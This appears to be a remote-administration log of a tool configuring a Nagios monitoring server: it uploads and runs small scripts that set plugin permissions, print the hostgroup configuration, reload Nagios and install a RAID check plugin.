chmod 755 /tmp/pkp823232; /tmp/pkp823232; rm /tmp/pkp823232
2025-10-18 12:34:43:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg 629
# CUSTOMIZED
###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################
# Define an optional hostgroup for Linux machines
define hostgroup {
hostgroup_name linux-servers ; The name of the hostgroup
alias Linux Servers ; Long name of the group
; Comma separated list of hosts that belong to this group
members localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}
2025-10-18 12:34:43:
systemctl reload nagios
2025-10-18 12:34:43:
2025-10-18 12:34:44:
PUT: /tmp/pkp863386
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok
2025-10-18 12:34:45:
chmod 755 /tmp/pkp863386; /tmp/pkp863386; rm /tmp/pkp863386
2025-10-18 12:34:45:
ok
2025-10-18 12:34:45:
PUT: /tmp/pkp242467
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-10-18 12:34:45:
chmod 755 /tmp/pkp242467; /tmp/pkp242467; rm /tmp/pkp242467
2025-10-18 12:34:46:
ok
2025-10-18 12:34:46:
PUT: /tmp/pkp560460
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_sensors.php'
echo ok
2025-10-18 12:34:46:
chmod 755 /tmp/pkp560460; /tmp/pkp560460; rm /tmp/pkp560460
2025-10-18 12:34:46:
ok
2025-10-18 12:34:47:
PUT: /tmp/pkp364109
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-10-18 12:34:47:
chmod 755 /tmp/pkp364109; /tmp/pkp364109; rm /tmp/pkp364109
2025-10-18 12:34:47:
ok
2025-10-18 12:34:48:
PUT: /tmp/pkp572967
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_snmp.php'
echo ok
2025-10-18 12:34:48:
chmod 755 /tmp/pkp572967; /tmp/pkp572967; rm /tmp/pkp572967
2025-10-18 12:34:48:
ok
2025-10-18 12:34:48:
PUT: /tmp/pkp916205
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_printer.php'
echo ok
2025-10-18 12:34:49:
chmod 755 /tmp/pkp916205; /tmp/pkp916205; rm /tmp/pkp916205
2025-10-18 12:34:49:
ok
2025-10-18 12:34:49:
PUT: /tmp/pkp751589
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-10-18 12:34:49:
chmod 755 /tmp/pkp751589; /tmp/pkp751589; rm /tmp/pkp751589
2025-10-18 12:34:50:
ok
2025-10-18 12:34:50:
PUT: /tmp/pkp247168
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok
2025-10-18 12:34:50:
chmod 755 /tmp/pkp247168; /tmp/pkp247168; rm /tmp/pkp247168
2025-10-18 12:34:51:
ok
2025-10-18 12:34:51:
PUT: /tmp/pkp747421
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-10-18 12:34:51:
chmod 755 /tmp/pkp747421; /tmp/pkp747421; rm /tmp/pkp747421
2025-10-18 12:34:52:
ok
2025-10-18 12:34:52:
PUT: /tmp/pkp232405
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok
2025-10-18 12:34:52:
chmod 755 /tmp/pkp232405; /tmp/pkp232405; rm /tmp/pkp232405
2025-10-18 12:34:53:
ok
2025-10-18 12:34:53:
PUT: /tmp/pkp255472
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-10-18 12:34:54:
chmod 755 /tmp/pkp255472; /tmp/pkp255472; rm /tmp/pkp255472
2025-10-18 12:34:54:
ok
2025-10-18 12:34:54:
PUT: /tmp/pkp748069
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_autoupdate.php'
echo ok
2025-10-18 12:34:54:
chmod 755 /tmp/pkp748069; /tmp/pkp748069; rm /tmp/pkp748069
2025-10-18 12:34:55:
ok
2025-10-18 12:34:55:
PUT: /tmp/pkp771783
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok
2025-10-18 12:34:55:
chmod 755 /tmp/pkp771783; /tmp/pkp771783; rm /tmp/pkp771783
2025-10-18 12:34:56:
ok
2025-10-18 12:35:22: Establishing a connection
2025-10-18 12:35:23: Establishing a connection
2025-10-18 12:35:24:
PUT: /tmp/pkp768252
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-18 12:35:24:
chmod 755 /tmp/pkp768252; /tmp/pkp768252; rm /tmp/pkp768252
2025-10-18 12:35:24:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg 629
# CUSTOMIZED
###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################
# Define an optional hostgroup for Linux machines
define hostgroup {
hostgroup_name linux-servers ; The name of the hostgroup
alias Linux Servers ; Long name of the group
; Comma separated list of hosts that belong to this group
members localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}
2025-10-18 12:35:24:
systemctl reload nagios
2025-10-18 12:35:24:
2025-10-18 12:35:25:
PUT: /tmp/pkp984351
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-10-18 12:35:25:
chmod 755 /tmp/pkp984351; /tmp/pkp984351; rm /tmp/pkp984351
2025-10-18 12:35:25:
ok
2025-10-18 12:35:25:
PUT: /tmp/pkp920778
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_toner.php'
echo ok
2025-10-18 12:35:26:
chmod 755 /tmp/pkp920778; /tmp/pkp920778; rm /tmp/pkp920778
2025-10-18 12:35:26:
ok
2025-10-18 12:35:26:
PUT: /tmp/pkp722762
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok
2025-10-18 12:35:27:
chmod 755 /tmp/pkp722762; /tmp/pkp722762; rm /tmp/pkp722762
2025-10-18 12:35:27:
ok
2025-10-18 12:35:27:
PUT: /tmp/pkp783099
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_website'
echo ok
2025-10-18 12:35:28:
chmod 755 /tmp/pkp783099; /tmp/pkp783099; rm /tmp/pkp783099
2025-10-18 12:35:28:
ok
2025-10-18 12:35:28:
PUT: /tmp/pkp163262
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok
2025-10-18 12:35:29:
chmod 755 /tmp/pkp163262; /tmp/pkp163262; rm /tmp/pkp163262
2025-10-18 12:35:29:
ok
2025-10-18 12:35:29:
PUT: /tmp/pkp259437
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-10-18 12:35:30:
chmod 755 /tmp/pkp259437; /tmp/pkp259437; rm /tmp/pkp259437
2025-10-18 12:35:30:
ok
2025-10-18 12:35:30:
PUT: /tmp/pkp945316
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_sensors.php'
echo ok
2025-10-18 12:35:31:
chmod 755 /tmp/pkp945316; /tmp/pkp945316; rm /tmp/pkp945316
2025-10-18 12:35:31:
ok
2025-10-18 12:35:32:
PUT: /tmp/pkp375946
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-10-18 12:35:32:
chmod 755 /tmp/pkp375946; /tmp/pkp375946; rm /tmp/pkp375946
2025-10-18 12:35:32:
ok
2025-10-18 12:35:33:
PUT: /tmp/pkp881755
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok
2025-10-18 12:35:33:
chmod 755 /tmp/pkp881755; /tmp/pkp881755; rm /tmp/pkp881755
2025-10-18 12:35:33:
ok
2025-10-18 12:35:34:
PUT: /tmp/pkp873787
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-10-18 12:35:34:
chmod 755 /tmp/pkp873787; /tmp/pkp873787; rm /tmp/pkp873787
2025-10-18 12:35:34:
ok
2025-10-18 12:35:35:
PUT: /tmp/pkp787731
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok
2025-10-18 12:35:35:
chmod 755 /tmp/pkp787731; /tmp/pkp787731; rm /tmp/pkp787731
2025-10-18 12:35:35:
ok
2025-10-18 12:35:36:
PUT: /tmp/pkp621007
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-10-18 12:35:36:
chmod 755 /tmp/pkp621007; /tmp/pkp621007; rm /tmp/pkp621007
2025-10-18 12:35:36:
ok
2025-10-18 12:35:37:
PUT: /tmp/pkp984918
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_encoder.php'
echo ok
2025-10-18 12:35:37:
chmod 755 /tmp/pkp984918; /tmp/pkp984918; rm /tmp/pkp984918
2025-10-18 12:35:37:
ok
2025-10-18 12:35:38:
PUT: /tmp/pkp151240
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok
2025-10-18 12:35:38:
chmod 755 /tmp/pkp151240; /tmp/pkp151240; rm /tmp/pkp151240
2025-10-18 12:35:38:
ok
2025-10-18 12:35:41:
PUT: /tmp/pkp603510
#!/bin/bash
dpkg -i '/usr/local/nagios/libexec/nagios-plugin-check-raid_4.0.9-1_all.deb'
ln -s /usr/lib/nagios/plugins/check_raid /usr/local/nagios/libexec/check_raid
2025-10-18 12:35:41:
chmod 755 /tmp/pkp603510; /tmp/pkp603510; rm /tmp/pkp603510
2025-10-18 12:35:41:
(Reading database ... 168944 files and directories currently installed.)
Preparing to unpack .../nagios-plugin-check-raid_4.0.9-1_all.deb ...
Unpacking nagios-plugin-check-raid (4.0.9-1) over (4.0.9-1) ...
Setting up nagios-plugin-check-raid (4.0.9-1) ...
ln: failed to create symbolic link '/usr/local/nagios/libexec/check_raid': File exists
STDERR:
ln: failed to create symbolic link '/usr/local/nagios/libexec/check_raid': File exists
2025-10-18 13:21:44: Establishing a connection
2025-10-18 13:21:45: Establishing a connection
2025-10-18 13:21:46:
PUT: /tmp/pkp200930
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-18 13:21:46:
chmod 755 /tmp/pkp200930; /tmp/pkp200930; rm /tmp/pkp200930
2025-10-18 13:21:46:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg 629
# CUSTOMIZED
###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################
# Define an optional hostgroup for Linux machines
define hostgroup {
hostgroup_name linux-servers ; The name of the hostgroup
alias Linux Servers ; Long name of the group
; Comma separated list of hosts that belong to this group
members localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}
2025-10-18 13:21:46:
systemctl reload nagios
2025-10-18 13:21:46:
2025-10-18 13:21:47:
PUT: /tmp/pkp626758
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-10-18 13:21:48:
chmod 755 /tmp/pkp626758; /tmp/pkp626758; rm /tmp/pkp626758
2025-10-18 13:21:48:
ok
2025-10-18 13:21:48:
PUT: /tmp/pkp316841
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok
2025-10-18 13:21:49:
chmod 755 /tmp/pkp316841; /tmp/pkp316841; rm /tmp/pkp316841
2025-10-18 13:21:49:
ok
2025-10-18 13:21:49:
PUT: /tmp/pkp693902
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok
2025-10-18 13:21:50:
chmod 755 /tmp/pkp693902; /tmp/pkp693902; rm /tmp/pkp693902
2025-10-18 13:21:50:
ok
2025-10-18 13:21:50:
PUT: /tmp/pkp999113
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-10-18 13:21:51:
chmod 755 /tmp/pkp999113; /tmp/pkp999113; rm /tmp/pkp999113
2025-10-18 13:21:51:
ok
2025-10-18 13:21:52:
PUT: /tmp/pkp721730
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok
2025-10-18 13:21:52:
chmod 755 /tmp/pkp721730; /tmp/pkp721730; rm /tmp/pkp721730
2025-10-18 13:21:52:
ok
2025-10-18 13:21:53:
PUT: /tmp/pkp719695
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok
2025-10-18 13:21:53:
chmod 755 /tmp/pkp719695; /tmp/pkp719695; rm /tmp/pkp719695
2025-10-18 13:21:53:
ok
2025-10-18 13:21:54:
PUT: /tmp/pkp273082
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok
2025-10-18 13:21:54:
chmod 755 /tmp/pkp273082; /tmp/pkp273082; rm /tmp/pkp273082
2025-10-18 13:21:54:
ok
2025-10-18 13:21:55:
PUT: /tmp/pkp609588
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-10-18 13:21:55:
chmod 755 /tmp/pkp609588; /tmp/pkp609588; rm /tmp/pkp609588
2025-10-18 13:21:55:
ok
2025-10-18 13:21:56:
PUT: /tmp/pkp353192
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_autoupdate.php'
echo ok
2025-10-18 13:21:56:
chmod 755 /tmp/pkp353192; /tmp/pkp353192; rm /tmp/pkp353192
2025-10-18 13:21:57:
ok
2025-10-18 13:22:59: Establishing a connection
2025-10-18 13:23:00: Establishing a connection
2025-10-18 13:23:00:
PUT: /tmp/pkp233053
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-18 13:23:00:
chmod 755 /tmp/pkp233053; /tmp/pkp233053; rm /tmp/pkp233053
2025-10-18 13:23:00:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg 629
# CUSTOMIZED
###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################
# Define an optional hostgroup for Linux machines
define hostgroup {
hostgroup_name linux-servers ; The name of the hostgroup
alias Linux Servers ; Long name of the group
; Comma separated list of hosts that belong to this group
members localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}
2025-10-18 13:23:00:
systemctl reload nagios
2025-10-18 13:23:01:
2025-10-18 13:23:02:
PUT: /tmp/pkp129186
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-10-18 13:23:02:
chmod 755 /tmp/pkp129186; /tmp/pkp129186; rm /tmp/pkp129186
2025-10-18 13:23:02:
ok
2025-10-18 13:23:03:
PUT: /tmp/pkp578467
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok
2025-10-18 13:23:03:
chmod 755 /tmp/pkp578467; /tmp/pkp578467; rm /tmp/pkp578467
2025-10-18 13:23:04:
ok
2025-10-18 13:23:04:
PUT: /tmp/pkp540758
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok
2025-10-18 13:23:04:
chmod 755 /tmp/pkp540758; /tmp/pkp540758; rm /tmp/pkp540758
2025-10-18 13:23:05:
ok
2025-10-18 13:23:05:
PUT: /tmp/pkp988167
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-10-18 13:23:05:
chmod 755 /tmp/pkp988167; /tmp/pkp988167; rm /tmp/pkp988167
2025-10-18 13:23:06:
ok
2025-10-18 13:23:06:
PUT: /tmp/pkp159783
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok
2025-10-18 13:23:07:
chmod 755 /tmp/pkp159783; /tmp/pkp159783; rm /tmp/pkp159783
2025-10-18 13:23:07:
ok
2025-10-18 13:24:25: Establishing a connection
2025-10-18 13:24:26: Establishing a connection
2025-10-18 13:24:27:
PUT: /tmp/pkp756820
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-18 13:24:27:
chmod 755 /tmp/pkp756820; /tmp/pkp756820; rm /tmp/pkp756820
2025-10-18 13:24:27:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg 629
# CUSTOMIZED
###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################
# Define an optional hostgroup for Linux machines
define hostgroup {
hostgroup_name linux-servers ; The name of the hostgroup
alias Linux Servers ; Long name of the group
; Comma separated list of hosts that belong to this group
members localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}
2025-10-18 13:24:27:
systemctl reload nagios
2025-10-18 13:24:27:
2025-10-18 13:24:29:
PUT: /tmp/pkp548148
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok
2025-10-18 13:24:29:
chmod 755 /tmp/pkp548148; /tmp/pkp548148; rm /tmp/pkp548148
2025-10-18 13:24:29:
ok
2025-10-18 13:24:30:
PUT: /tmp/pkp289328
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok
2025-10-18 13:24:30:
chmod 755 /tmp/pkp289328; /tmp/pkp289328; rm /tmp/pkp289328
2025-10-18 13:24:30:
ok
2025-10-18 13:24:31:
PUT: /tmp/pkp463248
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-10-18 13:24:31:
chmod 755 /tmp/pkp463248; /tmp/pkp463248; rm /tmp/pkp463248
2025-10-18 13:24:31:
ok
2025-10-18 13:24:32:
PUT: /tmp/pkp989744
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok
2025-10-18 13:24:32:
chmod 755 /tmp/pkp989744; /tmp/pkp989744; rm /tmp/pkp989744
2025-10-18 13:24:32:
ok
2025-10-18 13:24:33:
PUT: /tmp/pkp751208
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok
2025-10-18 13:24:33:
chmod 755 /tmp/pkp751208; /tmp/pkp751208; rm /tmp/pkp751208
2025-10-18 13:24:33:
ok
2025-10-18 13:25:26: Establishing a connection
2025-10-18 13:25:27: Establishing a connection
2025-10-18 13:25:28:
PUT: /tmp/pkp815279
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-18 13:25:28:
chmod 755 /tmp/pkp815279; /tmp/pkp815279; rm /tmp/pkp815279
2025-10-18 13:25:28:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg 629
# CUSTOMIZED
###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################
# Define an optional hostgroup for Linux machines
define hostgroup {
hostgroup_name linux-servers ; The name of the hostgroup
alias Linux Servers ; Long name of the group
; Comma separated list of hosts that belong to this group
members localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}
2025-10-18 13:25:28:
systemctl reload nagios
2025-10-18 13:25:28:
2025-10-18 13:25:29:
PUT: /tmp/pkp720428
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-10-18 13:25:29:
chmod 755 /tmp/pkp720428; /tmp/pkp720428; rm /tmp/pkp720428
2025-10-18 13:25:30:
ok
2025-10-18 13:25:30:
PUT: /tmp/pkp609340
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_toner.php'
echo ok
2025-10-18 13:25:30:
chmod 755 /tmp/pkp609340; /tmp/pkp609340; rm /tmp/pkp609340
2025-10-18 13:25:30:
ok
2025-10-18 13:25:31:
PUT: /tmp/pkp596193
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok
2025-10-18 13:25:31:
chmod 755 /tmp/pkp596193; /tmp/pkp596193; rm /tmp/pkp596193
2025-10-18 13:25:31:
ok
2025-10-18 13:25:32:
PUT: /tmp/pkp825984
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_website'
echo ok
2025-10-18 13:25:32:
chmod 755 /tmp/pkp825984; /tmp/pkp825984; rm /tmp/pkp825984
2025-10-18 13:25:32:
ok
2025-10-18 13:25:32:
PUT: /tmp/pkp780983
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok
2025-10-18 13:25:33:
chmod 755 /tmp/pkp780983; /tmp/pkp780983; rm /tmp/pkp780983
2025-10-18 13:25:33:
ok
2025-10-18 13:25:33:
PUT: /tmp/pkp545865
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-10-18 13:25:34:
chmod 755 /tmp/pkp545865; /tmp/pkp545865; rm /tmp/pkp545865
2025-10-18 13:25:34:
ok
2025-10-18 13:25:34:
PUT: /tmp/pkp773768
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_sensors.php'
echo ok
2025-10-18 13:25:34:
chmod 755 /tmp/pkp773768; /tmp/pkp773768; rm /tmp/pkp773768
2025-10-18 13:25:35:
ok
2025-10-18 13:25:35:
PUT: /tmp/pkp672339
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-10-18 13:25:36:
chmod 755 /tmp/pkp672339; /tmp/pkp672339; rm /tmp/pkp672339
2025-10-18 13:25:36:
ok
2025-10-18 13:25:36:
PUT: /tmp/pkp600092
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok
2025-10-18 13:25:37:
chmod 755 /tmp/pkp600092; /tmp/pkp600092; rm /tmp/pkp600092
2025-10-18 13:25:37:
ok
2025-10-18 13:25:37:
PUT: /tmp/pkp195632
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-10-18 13:25:38:
chmod 755 /tmp/pkp195632; /tmp/pkp195632; rm /tmp/pkp195632
2025-10-18 13:25:38:
ok
2025-10-18 13:25:38:
PUT: /tmp/pkp204961
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok
2025-10-18 13:25:39:
chmod 755 /tmp/pkp204961; /tmp/pkp204961; rm /tmp/pkp204961
2025-10-18 13:25:39:
ok
2025-10-18 13:25:39:
PUT: /tmp/pkp863415
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-10-18 13:25:40:
chmod 755 /tmp/pkp863415; /tmp/pkp863415; rm /tmp/pkp863415
2025-10-18 13:25:40:
ok
2025-10-18 13:25:40:
PUT: /tmp/pkp233482
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_encoder.php'
echo ok
2025-10-18 13:25:41:
chmod 755 /tmp/pkp233482; /tmp/pkp233482; rm /tmp/pkp233482
2025-10-18 13:25:41:
ok
2025-10-18 13:25:41:
PUT: /tmp/pkp583265
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok
2025-10-18 13:25:42:
chmod 755 /tmp/pkp583265; /tmp/pkp583265; rm /tmp/pkp583265
2025-10-18 13:25:42:
ok
2025-10-18 13:25:44:
PUT: /tmp/pkp274471
#!/bin/bash
dpkg -i '/usr/local/nagios/libexec/nagios-plugin-check-raid_4.0.9-1_all.deb'
ln -s /usr/lib/nagios/plugins/check_raid /usr/local/nagios/libexec/check_raid
2025-10-18 13:25:44:
chmod 755 /tmp/pkp274471; /tmp/pkp274471; rm /tmp/pkp274471
2025-10-18 13:25:44:
(Reading database ... 168944 files and directories currently installed.)
Preparing to unpack .../nagios-plugin-check-raid_4.0.9-1_all.deb ...
Unpacking nagios-plugin-check-raid (4.0.9-1) over (4.0.9-1) ...
Setting up nagios-plugin-check-raid (4.0.9-1) ...
ln: failed to create symbolic link '/usr/local/nagios/libexec/check_raid': File exists
STDERR:
ln: failed to create symbolic link '/usr/local/nagios/libexec/check_raid': File exists
2025-10-18 13:32:12: Establishing a connection
2025-10-18 13:32:12: Establishing a connection
2025-10-18 13:32:12:
PUT: /tmp/pkp110680
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-18 13:32:12:
chmod 755 /tmp/pkp110680; /tmp/pkp110680; rm /tmp/pkp110680
2025-10-18 13:32:12:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg 629
# CUSTOMIZED
###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################
# Define an optional hostgroup for Linux machines
define hostgroup {
hostgroup_name linux-servers ; The name of the hostgroup
alias Linux Servers ; Long name of the group
; Comma separated list of hosts that belong to this group
members localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}
2025-10-18 13:32:12:
systemctl reload nagios
2025-10-18 13:32:12:
2025-10-18 13:32:12:
PUT: /tmp/pkp406697
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
